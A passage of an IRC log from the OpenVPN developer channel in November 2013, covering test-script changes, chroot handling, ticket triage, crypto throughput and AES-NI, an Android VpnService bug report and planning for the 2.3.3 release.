against a pre-configured server. It's a test tool for specially interested. So I've pushed out a patch which fixes the stdout/stderr (that was just a pure mistake from my side) and added some dependency documentation 05:19 <@dazo> Does that resolve some of your issues? 05:20 < m-a> dazo: if INSTALL mentions the fping requirement and links to fping.org and/or fping.sf.net, that should be good. Lemme see 05:20 < m-a> dazo: pushed to where? 05:22 <@dazo> mailing look 05:26 <@dazo> s/look/list/ 05:31 < m-a> ok, ACK from me (also sent to the list) 05:31 < m-a> thanks for the prompt turnaround 05:39 -!- dazo is now known as dazo_afk 06:37 -!- dazo_afk is now known as dazo 06:41 <@cron2> m-a: thanks 06:45 * cron2 just notices that he forgot to send the ack-and-commit message ysesteday 07:10 <@vpnHelper> RSS Update - gitrepo: t_client.sh: Write errors to stderr and document requirements <https://github.com/OpenVPN/openvpn/commit/ebcd7549ac73a2d649afd0629cb5a7fe0e02b8f7> 08:15 <@dazo> cron2: I'm adding --chroot support to my test config ... but I need to prepare a chroot dir before running the test ... does this make sense to you? http://paste.fedoraproject.org/54492/38461127/ 08:16 <@dazo> My config lines will then look like this: 08:16 <@dazo> PREPARE_6="mkdir -p /var/tmp/t_client/tmp" 08:16 <@dazo> CLEANUP_6="rm /var/tmp/t_client/tmp/* && rmdir /var/tmp/t_client/tmp/ /var/tmp/t_client" 08:18 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:27 <@cron2> dazo: looks like it should work. 08:27 <@dazo> okay, I'll submit a patch :) 08:27 <@dazo> thx! 08:27 <@cron2> test it first :) 08:27 <@dazo> heh ... already done :) 08:28 <@cron2> isn't the "PREPARE" missing "copy in key files and stuff"? 08:29 <@cron2> I think for basic chroot() test, you could just chroot to $PWD here... it won't be a "nice and clean and empty chroot", but the path name issues would be caught 08:29 <@dazo> yeah, but it requires an additional tmp directory to exist ... that's why I need to ensure that tmpdir is present 08:30 <@dazo> and by having a clean directory, you ensure old cruft won't hide errors 08:30 <@cron2> so how do you get the keys inside? are you using inline profiles? 08:30 <@dazo> keys are read before chroot() happens 08:31 <@cron2> ah! 08:31 <@dazo> only CRL files and --capath is needed inside 08:31 <@dazo> (and client-config-dir stuff .... except of that, nothing more) 08:34 * cron2 all of a sudden is wondering whether we're overdoing the chroot-file-path checks a bit, and should have a special-case "check function" for "the 2 files that can have chroot" 08:36 <@dazo> well, I might have forgotten something ... but that's what I remember by a very quick glance at the patch right now 08:37 <@cron2> yeah, but the patch is introducing so much extra stuff that is only used in so few cases 08:37 <@dazo> (I did look more carefully at it yesterday) 08:37 * cron2 is not convinced yet that it's the best approach 08:38 <@dazo> I'll dig deeper ... there are anyhow some issues with the patch, which may make some compilers complain .... like: 08:38 <@dazo> struct buffer buf_file = alloc_buf_gc (buf_size, &gc); 08:38 <@dazo> in the middle of a code block 08:39 <@dazo> btw ... the patch seems to work well, though 08:39 <@cron2> that will kill the windows compiler 08:39 <@dazo> yupp 09:07 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 246 seconds] 10:11 <@cron2> gert@space.net 10:53 <@cron2> Message-ID: <20131023162618.GP161@greenie.muc.de> 11:02 <@mattock_afk> d12fk: https://community.openvpn.net/openvpn/ticket/165 11:02 <@vpnHelper> Title: #165 (GUI: broken log encoding on non-english Windows) – OpenVPN Community (at community.openvpn.net) 11:37 <@vpnHelper> RSS Update - gitrepo: t_client.sh: Add prepare/cleanup possibilties for each test case <https://github.com/OpenVPN/openvpn/commit/8fedf86abaf8fca8d0e9e81f70d7a5888a98b9ee> 11:53 <@mattock_afk> dazo: https://community.openvpn.net/openvpn/ticket/201 11:53 <@vpnHelper> Title: #201 (auth-pam leaves file descriptors open) – OpenVPN Community (at community.openvpn.net) 12:14 -!- dazo is now known as dazo_afk 13:13 <@pekster> cron2: It's a lot more than "the 2 files that could be in chroot" -- my patch catches a lot more than 2 ;) 13:17 <@pekster> dazo_afk: Ping when you're around; I'll bounce some of the ideas off of you to see what you're getting at in a few of those points on the ML. FWIW, my patch is doing the _proper_ whitespace allingment per the dev wiki pages; the existing code is using tabs alligned improperly 13:17 <@pekster> I can also send a 2/2 patch that fixes the pre-existing whitespace issues in the code ;) 13:30 <@pekster> Dunno, maybe I misunderstood the emacs example; the claim is that the existing codebase doesn't have tabs (well, it does..) and that indents are 2-spaces (they are. Usually.) For the tabs that "aren't there", is the expected editor behaviour to treat them as 8 spaces and clean them up when possible/neccessary? 13:30 <@pekster> https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation under "Formatting" 13:30 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 13:47 <@pekster> Given the time difference, if you're not around the rest of tongiht that's fine too (I do have a couple alternative options to present, though as usual for something like this, each one has drawbacks. Pick your least unfavourite? :) 15:30 <@cron2> pekster: well, dazo said it's only two files :-) - I need to re-read 15:30 <@cron2> but not now. tired, long day, will do early tomorrow 15:30 <@pekster> Oh no, it's "lots" of them. My weekend just got way bussier than I expected (last 2 hours took away most of what free time I thought I had) so I'll probably send ideas to the ML within the next couple of days 15:31 <@pekster> There is another option of using f.ex check_cmd_access_chroot() and set_user_script_chroot() functions, but that gets really messy and duplicate a lot of code we have today 15:31 <@cron2> yeah, take your time. Our weekend went different than planned anyway (we spent less time hacking and more time agreeing on general ideas and how things should look like - and socializing :) ) 15:32 <@pekster> And really, to do that properly, the current set_user_script() function needs to be re-named to a mere wrapper that calls the "chroot-friendly" function and notes that "no chroot is needed here" -- I really hate the idea of code duplication 15:32 <@pekster> Yea, np. Just don't feel like you guys need to review it more carefully for now since I can't really explain the alternative I thought of (and in a couple cases did actually try and threw them out for being "even more ugly" than the current patch) 15:32 <@cron2> that's what I was thinking of, of having a _chroot() function for those cases that open their files after chroot, and then call check_cmd_access() from there with the adjusted path 15:33 <@pekster> Problem is that it can't give the user a hepful error then :\ 15:33 <@pekster> As the path returned to the user will be "nothing" that the user asked for 15:33 <@cron2> ah 15:33 <@cron2> more things to consider 15:33 <@pekster> Yea, as I said, I'll get some follow-up, but it might not be until end of weekend or even Mon night (western time) 15:34 <@pekster> Glad to at least get an initial review though; ideally we can get this added to the "things to fix in a 2.3.3 release" :) 19:20 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 19:22 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:18 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] --- Day changed Sun Nov 17 2013 00:48 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:14 <@cron2> mornin' folks. "I'm here" 02:33 -!- dazo_afk is now known as dazo 03:06 <@vpnHelper> RSS Update - gitrepo: Fix IPv6 examples in t_client.rc-sample <https://github.com/OpenVPN/openvpn/commit/bbc3a6473c84ba7cdb87b359f016cd13773e42ec> 03:14 <@mattock_afk> here's something we discussed in somewhat distant past: https://community.openvpn.net/openvpn/ticket/25 03:14 <@vpnHelper> Title: #25 (Check if state/instance synchronization between OpenVPN instances is doable in 2.x series) – OpenVPN Community (at community.openvpn.net) 03:14 <@mattock_afk> maybe we should close this? 03:20 <@mattock_afk> here's one thing cron2 said we should fix: https://community.openvpn.net/openvpn/ticket/29 03:20 <@vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN Community (at community.openvpn.net) 03:30 <@cron2> mattock: we should, but it's not something we can do "just now", it's a bit more complex 03:30 <@cron2> but let's discuss this 03:35 <@mattock_afk> here's another classic that's apparently a fairly common issue: https://community.openvpn.net/openvpn/ticket/52 03:35 <@vpnHelper> Title: #52 (No routing after restart of Win 2003 Server on 2.1) – OpenVPN Community (at community.openvpn.net) 04:34 <@dazo> cron2: mattock_afk: Just a quick braindump for a landing page: http://paste.fedoraproject.org/54599/68442013/ 04:40 <@cron2> dazo, mattock: yeah, along that lines. 04:47 <@dazo> plaisthos: http://arstechnica.com/security/2013/10/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/ 04:47 <@vpnHelper> Title: A (relatively easy to understand) primer on elliptic curve cryptography | Ars Technica (at arstechnica.com) 04:51 <@mattock_afk> https://community.openvpn.net/openvpn/wiki/NewCommunityLangingPage 04:51 <@vpnHelper> Title: NewCommunityLangingPage – OpenVPN Community (at community.openvpn.net) 06:07 <@mattock_afk> dazo: was this what you had in mind: https://community.openvpn.net/openvpn/wiki/NewCommunityLangingPage 06:07 <@vpnHelper> Title: NewCommunityLangingPage – OpenVPN Community (at community.openvpn.net) 06:07 <@mattock_afk> regarding downloads 06:08 <@dazo> mattock_afk: yeah, basically 06:08 <@mattock_afk> ok, good 06:08 <@mattock_afk> so users would avoid openvpn.net entirely as far as downloads are concerned 06:09 <@dazo> yeah 06:09 <@dazo> we already have moved a lot over to community.o.n already ... so to bind it all here, makes it more consistent 06:09 <@dazo> we also need a reference to the man/doc/howto pages though 06:10 <@dazo> can probably make the first block easier to "understand" 07:12 <@mattock_afk> https://community.openvpn.net/openvpn/ticket/113 07:12 <@vpnHelper> Title: #113 (Partially implemented --push-peer-info option) – OpenVPN Community (at community.openvpn.net) 07:14 <@cron2> man ip6 07:14 <@cron2> IPV6_V6ONLY int * 07:14 <@cron2> Get or set whether only IPv6 connections can be made to this 07:14 <@cron2> socket. For wildcard sockets, this can restrict connections to 07:14 <@cron2> IPv6 only. 07:20 <@mattock_afk> dazo: what's the status of this one: https://community.openvpn.net/openvpn/ticket/128 07:20 <@vpnHelper> Title: #128 (Connection errors) – OpenVPN Community (at community.openvpn.net) 07:22 <@dazo> mattock_afk: I think the snappy support have made this somewhat easier, where it can more dynamically switch between lzo and snappy ... cron2 or james may be better to ask here 07:22 <@dazo> I obviously dropped that ball for some more important (or fun) tasks :-P 07:26 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/3852 07:26 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:37 <@mattock_afk> cron2: this one is for you: https://community.openvpn.net/openvpn/ticket/141 07:37 <@vpnHelper> Title: #141 (Cannot restart openvpn more than once per boot if using persistent tunnels and IPv6 payload) – OpenVPN Community (at community.openvpn.net) 07:38 <@mattock_afk> we're being taunted here: https://community.openvpn.net/openvpn/ticket/143 07:38 <@vpnHelper> Title: #143 (remote-random-hostname bug) – OpenVPN Community (at community.openvpn.net) 07:39 <@mattock_afk> is the fix for ticket 143 as simple as the guy claims? 07:40 <@cron2> mattock_afk: uh, I remember 141 07:40 * cron2 hides 07:43 <@mattock_afk> krzee: this ticket is for you: https://community.openvpn.net/openvpn/ticket/149 07:43 <@vpnHelper> Title: #149 (/30 rewrite) – OpenVPN Community (at community.openvpn.net) 07:45 <@vpnHelper> RSS Update - gitrepo: Fix slow memory drain on each client renegotiation. <https://github.com/OpenVPN/openvpn/commit/4368147972d61b598bbcd5d2904d891130d5e517> 07:46 <@mattock_afk> here's a patch that could be useful or not: https://community.openvpn.net/openvpn/ticket/157 07:46 <@vpnHelper> Title: #157 (Use SSL_MODE_RELEASE_BUFFERS if available) – OpenVPN Community (at community.openvpn.net) 09:15 <@cron2> plaisthos: http://xexyl.net/files/bind.c 09:27 -!- dazo is now known as dazo_afk 09:31 -!- m-a [mandree@f049203184.adsl.alicedsl.de] has joined #openvpn-devel 14:56 <@plaisthos> bad news :( 14:56 <@plaisthos> I have now 4.4 on my Tablet and managed to break the VPNService in like 10 min 14:56 <@plaisthos> without actively trying 15:24 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 15:24 < ludde> openvpn must be doing something wrong, with my own vpn software i get 803Mbits/s while openvpn throughput is no more than 275Mbits/sec 15:24 < ludde> (between two freebsd computers) 15:26 <@plaisthos> ludde: a little more details might be helpful 15:26 < ludde> what details are you interested in? 15:26 < ludde> i'm not using preshared key 15:27 <@plaisthos> ludde: no idea. But "this my software is better than your" sounds like bragging to me and does not really us to improve our software 15:27 < ludde> i'm not using compression 15:27 <@plaisthos> yeh 15:27 <@plaisthos> but like what you are using to encrypt 15:27 <@plaisthos> if you do the framing yourself 15:27 <@plaisthos> things like that 15:27 < ludde> oh.. AES-GCM 256-bit 15:28 < ludde> i use AES-NI instructions, maybe openvpn doesn't 15:28 <@plaisthos> ludde: there is an AES-GCM patch for OpenVPN floating around that has not yet been integrated 15:28 <@plaisthos> ludde: and what are you using for framing/packets? 15:28 <@plaisthos> or "just" a tls tcp stream 15:29 < ludde> UDP. my protocol is just a 4 byte sequence number used as IV, and currently my hmac is set to 32 bits. 15:29 < ludde> (it still computes all the 128bits for hmac internally) 15:29 <@plaisthos> ah okay 15:29 < ludde> so.. packet contents + 4 byte iv + 4 byte hmac 15:30 < ludde> so, somewhat smaller than openvpn 15:30 <@plaisthos> yeah 15:30 <@plaisthos> and openvpn has all the replay protection/stuff and so on 15:30 < ludde> oh, i have that too 15:30 <@plaisthos> our read/path might not be optimized at all yet 15:30 <@plaisthos> (or anymore) 15:31 < ludde> one thing i noticed in ktrace is that openvpn queries for the system time in between every packet 15:31 < ludde> that seems stupid 15:31 < ludde> not sure if that would give any noticable slowdown though 15:31 <@plaisthos> if you set cipher none and auth none in openvpn you (or we) maybe an idea if it is the slow encryption that hurts openvpn 15:31 < ludde> ok will try. 15:32 <@plaisthos> ludde: oh that might worth looking into 15:32 <@plaisthos> the timer management might not be best 15:32 <@plaisthos> but mayb we can tell libc to use a faster less accurate clock 15:34 < ludde> [ 3] 0.0-10.0 sec 841 MBytes 705 Mbits/sec 15:35 < ludde> that's with crypto and auth turned off 15:35 <@plaisthos> so the main offender in speed is our crypto 15:35 <@plaisthos> ludde: thanks for testing that 15:35 <@plaisthos> http://comments.gmane.org/gmane.network.openvpn.devel/7653 15:36 <@vpnHelper> Title: OpenVPN developers list (at comments.gmane.org) 15:36 <@plaisthos> that is the gcm patch for openvpn if you are interested 15:36 < ludde> i think another bad thing is that the openssl i have on my system does not neccessarily have aes-gcm cause it might be old, so even if openvpn supports aes-gcm it might not be used 15:36 <@pekster> fwiw, openvpn should use aes-ni if it is available to openssl; you can show available engines in the openssl that openvpn is linked to with `openvpn --show-engines` 15:37 <@plaisthos> yeah and we discussed some changes to our wire protocol today 15:37 < ludde> what should i see there? 15:37 < ludde> I do not see "aes-ni" 15:38 < ludde> plaisthos: what kind of changes? 15:38 <@plaisthos> ludde: our wire protocol is old and things are unaligned 15:38 <@plaisthos> which bad fast encryption/decryption 15:39 < ludde> plaisthos: ah, i solved that by adding any headers at the end of the packet. 15:39 <@plaisthos> ludde: :) 15:39 < ludde> plaisthos: that way, the first byte of payload is always aligned 15:39 <@plaisthos> ludde: yeah. We can't just move things around that easy unfortunately 15:39 <@pekster> Depends on your engine support, but if all you see is 'dynamic' your openssl probabl doesn't have aesni support (or the hardware doesn't) 15:39 < ludde> plaisthos: i don't think x86 suffers too much from unaligned memory, does it? 15:40 <@plaisthos> ludde: no 15:40 <@plaisthos> not that much 15:40 <@plaisthos> but it also does 15:40 < ludde> pekster: my hardware has AES-NI support: http://ludde.dyndns.org/screencap/e80e1cff3a3d7510.png 15:40 <@cron2> it's not as bad as sparc/arm, but unaligned 32bit accesses might still take twice the time as aligned 15:40 < ludde> cron2: maybe that's the worst case 15:41 <@pekster> What is that screenshot suppose dot mean ludde? All I see is that you've entered an invalid openssl command 15:41 <@pekster> That's completely worthless AFAICT 15:41 <@pekster> openvpn != openssl 15:41 <@plaisthos> ludde: for AES-NI the bytes need to algined 15:41 <@pekster> `openvpn --show-engines` 15:41 < ludde> pekster: oh.. sorry.. :) 15:41 < ludde> pekster: I thought you wanted to see the openssl cipher engines 15:41 < ludde> RSAX engine support [rsax] 15:41 < ludde> Dynamic engine loading support [dynamic] 15:41 <@plaisthos> so openssl does either fall back to non AES-NI or does need to memmove to align the payload 15:42 <@pekster> ludde: so add `--engine rsax` to openvpn. See the manpage for details 15:42 <@cron2> I'm hearing you, we're working on it :-) 15:42 <@pekster> IIRC, 'dynamic' will use hw crypto when availalbe and fallback to software crypto 15:43 < ludde> hm seems like my other test machine does not support rsax 15:43 < ludde> it has a different version of freebsd 15:43 < ludde> both of them run 2.3.2 15:44 <@pekster> Right, but if the linked openssl _or_ the hardware don't have the necessary support, you can't use the feature 15:45 < ludde> well my hw has the support, does the dynamic engine not do aes-ni? 15:46 <@pekster> It "dynamically loads engines" 15:46 <@pekster> If you don't have any other engines, it will fall back to software crypto 15:46 <@pekster> Thus if that's the only thing you see, you don't have required support 15:46 <@pekster> `openssl engine` will show what that openssl version supports (which may or may not be the version linked against openvpn depending on how you built it) 15:47 < ludde> ok 15:47 <@plaisthos> ah forget that about AES-NI. AES-NI requires you to load the data into xmm registers 15:47 < ludde> plaisthos: forget about what? alignment? 15:48 < ludde> i solved the issue of my openssl not supporting aes-ni by taking the relevant source files from openssl git and compiling them with my app. 15:49 <@plaisthos> ludde: aes-ni requiring alignment in memory 15:50 < ludde> that way things "just work" 15:50 <@plaisthos> Yeah :( 15:51 <@plaisthos> I made a 20 line app that breaks vpn on android requiring a reboot 15:51 < ludde> how? 15:51 <@plaisthos> ludde: wait a few min, I am just putting up a bug report 15:51 < ludde> ok 15:52 < ludde> does openvpn look at the don't fragment bit and sends out icmp responses? 15:54 <@plaisthos> iirc no 15:54 <@plaisthos> it does internal fragmentation 15:54 <@plaisthos> and mssfix for tcp to avoid fragmentation 15:55 < ludde> what's the point in doing internal fragmentation? why can't you just send big udp packets and the ip stack will fragment for you 15:58 <@plaisthos> ludde: I just checked. I have --fragment to do internal fragmentation but it is off by default 16:06 <@plaisthos> ttp://code.google.com/p/android/issues/detail?id=62410 16:06 <@plaisthos> hhttp://code.google.com/p/android/issues/detail?id=62410 16:06 <@vpnHelper> Title: Issue 62410 - android - VpnService is broken until reboot when an app tries to open two tun devices - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 16:33 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 252 seconds] 16:33 <@plaisthos> ludde: If you want to break VPNService on your device until next boot I can provide an apk d: 16:41 -!- m-a [mandree@f049203184.adsl.alicedsl.de] has quit [Ping timeout: 272 seconds] 22:35 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:49 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] --- Day changed Mon Nov 18 2013 02:46 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 02:46 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Client Quit] 02:46 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 03:26 < syzzer> plaisthos: good to know, I guess I'll wait with my 4.4 update a little more then... 03:49 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:31 -!- dazo_afk is now known as dazo 04:56 <@dazo> mattock_afk: hey! I see you've played a lot with the keywords ... I think that can backfire a bit, as I've understood the keywords more like tags ... 04:57 <@dazo> you for example set up: windows client suspend resume .... suspend and resume is basically coupled, but the process causing this is the initial resume. Of someone searches for 'linux client', this ticket may not be of interest at all 04:58 <@dazo> So this one I would rather recommend this to rather be: windows suspend ... it's a windows issue, related to suspend 04:59 <@dazo> I think we should have as few keywords as possible, but being as descriptive as possible without being too in-depth ... more like grouping the issues 07:35 <@pekster> Okay, I've beautified the initial readme/docs for the easyrsa 3.x stuff. I'll try to catch all the references I see from the bot and wiki to point users to the release github link so people don't get a release they aren't expecting; hopefully the README does a decent job of explaining the new layout to any users grabbing the master branch now 08:38 <@ecrist> woohoo 08:40 <@pekster> Nothing like a bit of `git rm -r *` to start off the week 10:37 <@d12fk> hm where does the hmac memcmp cve dome from all of a sudden? 10:37 <@d12fk> http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2061 10:37 <@vpnHelper> Title: National Vulnerability Database (NVD) National Vulnerability Database (CVE-2013-2061) (at web.nvd.nist.gov) 10:40 <@pekster> Yea, that's weird. It's months late, yet so "rushed" to be put in that they spelled UDP as UPD? That just seems odd all-around 11:56 < syzzer> they even got the impact metrics wrong, underestimating the the 'Integrity impact'... 11:59 <@pekster> Yea, I saw that too. Then again, maybe the "Univerrsal Packet Datagram" reduces that impact ;) 12:00 < syzzer> hehe, yeah, that must be it 12:02 <@pekster> You know, I bet this is "OpenSUSE" stupidity -- they just _recently_ published the "update for openvpn" according to the dates. I bet they then opened a new CVE instead of just linking to the old one (IIRC we had an old one, yes?) 12:02 <@pekster> Sat, 9 Nov 2013 according to the nist.gov links 12:04 < syzzer> Right, that might be. I didn't even click the CVE-link, assuming that it would be 'the old one'... 12:06 <@pekster> No, this is all new. Becuase clearly each distro dhould open their own ;) 12:06 <@pekster> (so, give it another year or three for CentOS and debian stable ;) 12:09 < syzzer> Nah, at least debian was quick enough, they updated May 17th of this year. 12:11 <@pekster> Maybe some "good" came of the OpenSSL-fiasco after all 12:41 <@plaisthos> syzzer: I am working on a workaround. I will close the tun and open instead of opening a new first and closing old after that. And only do the open/close dance only if the configuration of tun changes 13:07 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 13:23 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 14:39 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 15:32 -!- dazo is now known as dazo_afk 16:27 <@plaisthos> there is progress on my google bug: http://code.google.com/p/android/issues/detail?id=62410 16:27 <@vpnHelper> Title: Issue 62410 - android - VpnService is broken until reboot when an app tries to open two tun devices - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 16:27 <@plaisthos> someone is assigned to it :D 16:32 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 246 seconds] 17:12 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [] --- Day changed Tue Nov 19 2013 01:57 <@vpnHelper> RSS Update - gitrepo: Fix slow memory drain on each client renegotiation. <https://github.com/OpenVPN/openvpn/commit/4368147972d61b598bbcd5d2904d891130d5e517> || Fix IPv6 examples in t_client.rc-sample <https://github.com/OpenVPN/openvpn/commit/bbc3a6473c84ba7cdb87b359f016cd13773e42ec> || t_client.sh: Add prepare/cleanup possibilties for each test case <https://github.com/OpenVPN/openvpn/commit/8fedf86abaf8fca8d0e9e81f70d7a5888a98b9 04:00 <@mattock_afk> dazo_afk: re: trac keywords 04:00 <@mattock_afk> yeah, I've used them somewhat liberally 04:01 <@mattock_afk> I think we should agree on how we use keywords to maximize their usefulness 04:01 <@mattock_afk> we can already categorize by component, so perhaps adding things like "tap" might not be that useful 04:01 <@mattock_afk> but adding the operating system (linux, windows) as a keyword might 04:03 <@mattock_afk> anyways, I'll browse through the remaining bug reports this week, starting today 05:10 <@mattock_afk> I'm at #234 now 05:10 <@mattock_afk> looks like there are quite a few small, easy-ish things which we could include in 2.4 05:11 <@mattock_afk> and even some patches from "ye_olde_iron" 05:18 -!- dazo_afk is now known as dazo 05:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 05:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:24 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:42 <@cron2> plaisthos: I have open FreeBSD bugs that have been assigned months ago, and no progress... 06:03 <@dazo> I have some bugs assigned years ag...... oh wait, is this a competition or not? ;-) 06:08 < syzzer> http://googleonlinesecurity.blogspot.nl/2013/11/even-more-patch-rewards.html 06:08 <@vpnHelper> Title: Google Online Security Blog: Even more patch rewards! (at googleonlinesecurity.blogspot.nl) 06:08 < syzzer> Today, we are adding the following to the list of projects that are eligible for rewards: 06:08 < syzzer> [...] 06:08 < syzzer> Virtual private networking: OpenVPN 06:08 <@dazo> wow 06:09 <@dazo> I hope Google is able to help us out then, if people report ugly things ...... 06:09 < syzzer> uhuh... 06:10 < syzzer> let's see how busy it gets on the security-list :p 06:10 <@dazo> and I have mixed feelings about it too .... Google isn't really the place issues about OpenVPN should be reported ... 06:11 <@dazo> Q: Why does my patch need to ship in order to qualify for a reward? .... okay, they only pay for fixes .... then I surely hope they're proxied through to us 06:11 * dazo might have judged too quickly 06:12 <@dazo> s/might// 06:12 <@dazo> https://www.google.com/about/appsecurity/patch-rewards/ 06:12 <@vpnHelper> Title: Patch Rewards – Application Security – Google (at www.google.com) 06:12 <@cron2> dang, so my mem leak patch was committed too soon 06:13 <@dazo> hehehe ... a patch reverting other patches :-P 06:13 < syzzer> dazo: so that's the way to get paid? Introduce issues, revert the patch, cash! 06:14 <@dazo> syzzer: did you implement a brain scanner on me? 06:14 <@cron2> syzzer: the most interesting thing is: who is eligible to receive the bounty? 06:14 * cron2 is afraid that there might be some exclusion, like "people with commit access are not", or so 06:14 < syzzer> dazo: should I revert the patch that introduced the scanner already? 06:14 <@cron2> dazo: no need for a brain scanner for that, it's kind of obvious :-) 06:15 <@dazo> heh :) 06:15 <@dazo> Q: I’m a core developer working on one of the in-scope projects. Do my own patches qualify? 06:15 <@dazo> A: Most certainly! 06:16 <@cron2> oh, cool :) 06:16 <@dazo> It's an interesting " Qualifying submissions " section on the URL I posted here 06:17 < syzzer> hah, just wanted to paste that line :p 06:17 <@dazo> syzzer: cool! I managed to decode your brain scanner patch correctly! 06:17 < syzzer> Also: "we may also split the reward between the submitter and the maintainers of the project in cases where the patch required a substantial additional effort on behalf of the development team." 06:17 <@cron2> I think of what we currently have in our pipe, the EC patches qualify most... 06:18 <@dazo> maybe 06:19 <@cron2> well, the "to-be-written EC patches" :-) - "significant and proactive impact on the security"... 06:19 <@cron2> we don't have enough race conditions, sloppy integer arithmetics, stupid memory allocators, or privilege separation to actually invite work there :-) 06:20 <@cron2> though d12fk's windows interactive service sounds like it would qualify as well 06:20 <@dazo> definitely 06:21 < syzzer> cool stuff! 06:21 <@dazo> priv-sep on windows is definitely a worthy candidate 06:23 <@cron2> hah... right this minute, I see a mail on openssh-unix-dev about this ("what can people do to help, which would have a chance to win a bounty") 06:31 <@d12fk> yezzz moneys for patches!! 06:32 <@d12fk> i've already implemented address setting on the trainride back home on sunday 06:32 <@cron2> trains are good (I mentioned I found the mem leak issue on the train to Frankfurt...) 06:33 <@d12fk> yep they even come with power outlets these days 06:33 <@d12fk> i was in the only cabin with the lights turned off 06:34 <@d12fk> ppl never considered joining me, prob thougth ima weirdo sitting alone in the dark with a computer 06:35 <@dazo> oh that's a great strategy! 06:36 <@d12fk> even the conductor didnt care to put the lights back on =) 06:37 <@mattock_afk> what do you think about having virtual hackfests (say 4 hours) occasionally? 06:37 <@mattock_afk> I think it'd be useful to have everyone in the same "place" at the same time while doing some hacking 06:37 <@mattock_afk> not a meeting, but focused on some concrete tasks 06:39 <@cron2> could be a bit hard to arrange 4h of "everybody there" at the same time, with family/work/timezones/... getting in the way, but in general, why not 06:40 <@dazo> exactly my thoughts as well 06:42 <@mattock_afk> I'm thinking things like "fix remaining issues before 2.4 release" kind of hackfests, with proper planning in advance 06:42 <@mattock_afk> not "weekly" or "monthly" even, but whenever it makes sense 06:43 <@cron2> "before 2.4 release" is quite a bit off :-) - next thing I'd like to sort out is "what do we need to include in 2.3.3 release" (and then actually do that) 06:43 <@mattock_afk> fine by me :) 06:43 <@cron2> the chroot issue needs to be fixed 06:43 <@cron2> anything else? 06:43 <@mattock_afk> let's add a wiki page about 2.3.3? 06:43 <@mattock_afk> easier than searching the topics from scrollback :) 06:44 <@mattock_afk> cron2: do you think the TLS versioning thing should go in? 06:44 <@dazo> TLS versioning sounds like much more than just a bugfix 06:45 <@mattock_afk> it does, yes 06:45 <@mattock_afk> I recall cron2 suggesting including it 06:45 <@mattock_afk> however, as it breaks (current) iOS clients, I don't think we can push TLS versioning to stable until the new iOS build is in appstore 06:45 <@cron2> TLS versioning is in :) 06:46 <@cron2> dazo: it's in because I consider it important for long-term compatibility, and 2.3 will be around for a looong time 06:46 <@cron2> mattock_afk: wiki page sounds good 06:47 <@dazo> ahh, I see .... okay, as long as such things are exceptional, it's fine ... but one our biggest complaints about 2.0 and 2.1 was that minor releases had many new feature updates as well 06:47 <@cron2> dazo: true. I keep the cherrypicking to "bugs" and exceptional things that long-term compatibility/stability might need 06:48 <@dazo> I'm fine with that :) 06:48 <@cron2> I had hoped so :-) 06:48 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 268 seconds] 06:50 <@mattock_afk> https://community.openvpn.net/openvpn/wiki/OpenVPN2.3 06:50 <@vpnHelper> Title: OpenVPN2.3 – OpenVPN Community (at community.openvpn.net) 06:50 <@mattock_afk> we had a wiki page already, added 2.3.3 stuff there 07:24 <@cron2> #234 is pains - but d12fk could actually do it :-) 07:25 <@cron2> d12fk: is that your trac login as well? 07:28 <@mattock_afk> d12fk: I've assigned some bug reports to you 07:28 <@mattock_afk> mostly related to non-ASCII characters on Windows 07:28 <@mattock_afk> that seems to be a place where people gets papercuts constantly 07:36 <@d12fk> is that the one with the route.exe error? 07:37 <@d12fk> cron2: yes d12fk there as well 07:37 <@d12fk> mattock_afk: hm didnt get mail from trac is that intentional 07:38 <@mattock_afk> d12fk: you probably don't have your email address set in trac settings 07:38 <@mattock_afk> atm the email address is not added to trac automatically, but I will need to fix that 07:38 <@d12fk> ah ok 07:44 <@cron2> d12fk: #234 is actually (for the DNS servers) a relevant step towards supporting IPv6-only tunnels eventually :-) 07:47 <@mattock_afk> syzzer: I assume this has been fixed: https://community.openvpn.net/openvpn/ticket/250 07:47 <@vpnHelper> Title: #250 (OpenVPN 